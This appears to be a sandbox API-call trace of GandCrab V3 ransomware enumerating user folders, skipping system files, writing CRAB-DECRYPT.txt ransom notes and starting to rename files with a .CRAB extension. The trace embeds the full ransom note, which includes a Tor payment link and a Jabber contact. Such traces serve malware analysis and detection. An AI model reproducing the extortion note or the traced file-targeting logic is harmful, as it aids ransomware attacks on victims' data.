	[0130.190] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt"
	[0130.190] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.190] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt") returned 54
	[0130.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt") returned 54
	[0130.190] lstrlenW (lpString=".txt") returned 4
	[0130.190] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.190] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.190] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt") returned 54
	[0130.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\CRAB-DECRYPT.txt") returned 54
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.191] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.191] FindNextFileW (in: hFindFile=0x320fd10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.191] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0130.191] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0130.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini"
	[0130.191] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.191] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini") returned 49
	[0130.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini") returned 49
	[0130.191] lstrlenW (lpString=".ini") returned 4
	[0130.191] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.192] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0130.192] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.192] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini") returned 49
	[0130.192] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\desktop.ini") returned 49
	[0130.192] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0130.192] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.192] FindNextFileW (in: hFindFile=0x320fd10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0130.192] FindClose (in: hFindFile=0x320fd10 | out: hFindFile=0x320fd10) returned 1
	[0130.192] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0130.192] FindClose (in: hFindFile=0x318e4f8 | out: hFindFile=0x318e4f8) returned 1
	[0130.192] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0130.192] lstrcmpW (lpString1="Links", lpString2=".") returned 1
	[0130.193] lstrcmpW (lpString1="Links", lpString2="..") returned 1
	[0130.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links"
	[0130.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\"
	[0130.193] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.193] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.193] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.193] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.193] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.193] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.194] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\\\CRAB-DECRYPT.txt") returned 45
	[0130.194] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\links\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0130.195] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.195] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0130.197] CloseHandle (hObject=0x3d4) returned 1
	[0130.197] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.197] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned 28
	[0130.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*"
	[0130.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x320fad0
	[0130.197] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.197] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.197] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.197] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.197] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.197] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.197] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt"
	[0130.197] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.198] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt") returned 44
	[0130.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt") returned 44
	[0130.198] lstrlenW (lpString=".txt") returned 4
	[0130.198] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.198] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.198] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt") returned 44
	[0130.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\CRAB-DECRYPT.txt") returned 44
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.198] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.198] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.198] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0130.198] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0130.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini"
	[0130.199] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.199] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini") returned 39
	[0130.199] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini") returned 39
	[0130.199] lstrlenW (lpString=".ini") returned 4
	[0130.199] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.199] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0130.199] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.199] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini") returned 39
	[0130.199] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\desktop.ini") returned 39
	[0130.199] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0130.199] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.200] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.200] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1
	[0130.200] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1
	[0130.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\Desktop.lnk"
	[0130.200] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.200] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\Desktop.lnk") returned 39
	[0130.200] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\Desktop.lnk") returned 39
	[0130.200] lstrlenW (lpString=".lnk") returned 4
	[0130.200] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.200] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0130.200] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.201] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.201] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.201] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1
	[0130.201] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1
	[0130.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="Downloads.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\Downloads.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\Downloads.lnk"
	[0130.201] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.201] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\Downloads.lnk") returned 41
	[0130.201] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\Downloads.lnk") returned 41
	[0130.201] lstrlenW (lpString=".lnk") returned 4
	[0130.201] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.201] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0130.201] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.202] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.202] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.202] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1
	[0130.202] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1
	[0130.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="OneDrive.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\OneDrive.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\OneDrive.lnk"
	[0130.202] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.202] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Links\\OneDrive.lnk") returned 40
	[0130.202] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links\\OneDrive.lnk") returned 40
	[0130.202] lstrlenW (lpString=".lnk") returned 4
	[0130.202] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.203] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0130.203] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.203] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.203] FindNextFileW (in: hFindFile=0x320fad0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0130.203] FindClose (in: hFindFile=0x320fad0 | out: hFindFile=0x320fad0) returned 1
	[0130.203] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0130.203] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1
	[0130.203] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1
	[0130.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings"
	[0130.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\"
	[0130.203] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.205] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.205] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0130.205] lstrcmpW (lpString1="Music", lpString2=".") returned 1
	[0130.205] lstrcmpW (lpString1="Music", lpString2="..") returned 1
	[0130.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music"
	[0130.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\"
	[0130.205] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.205] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.206] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.206] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.206] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.206] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.206] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.206] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.206] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\\\CRAB-DECRYPT.txt") returned 45
	[0130.206] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0130.206] GetLastError () returned 0x50
	[0130.206] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.207] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 28
	[0130.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*"
	[0130.207] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x320f890
	[0130.207] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.207] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.207] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.207] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.207] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.207] lstrcmpW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2=".") returned 1
	[0130.207] lstrcmpW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="..") returned 1
	[0130.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="1O7HGWeE_bm1QZ3.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a"
	[0130.207] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.207] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a") returned 47
	[0130.207] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a") returned 47
	[0130.207] lstrlenW (lpString=".m4a") returned 4
	[0130.207] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.208] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0130.208] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.208] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a") returned 47
	[0130.208] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a") returned 47
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="desktop.ini") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="autorun.inf") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="ntuser.dat") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="iconcache.db") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="bootsect.bak") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="boot.ini") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="ntuser.dat.log") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="thumbs.db") returned -1
	[0130.208] lstrcmpiW (lpString1="1O7HGWeE_bm1QZ3.m4a", lpString2="CRAB-DECRYPT.txt") returned -1
	[0130.208] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.208] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB") returned 52
	[0130.209] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\1o7hgwee_bm1qz3.m4a")) returned 0x20
	[0130.209] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a", dwFileAttributes=0x20) returned 1
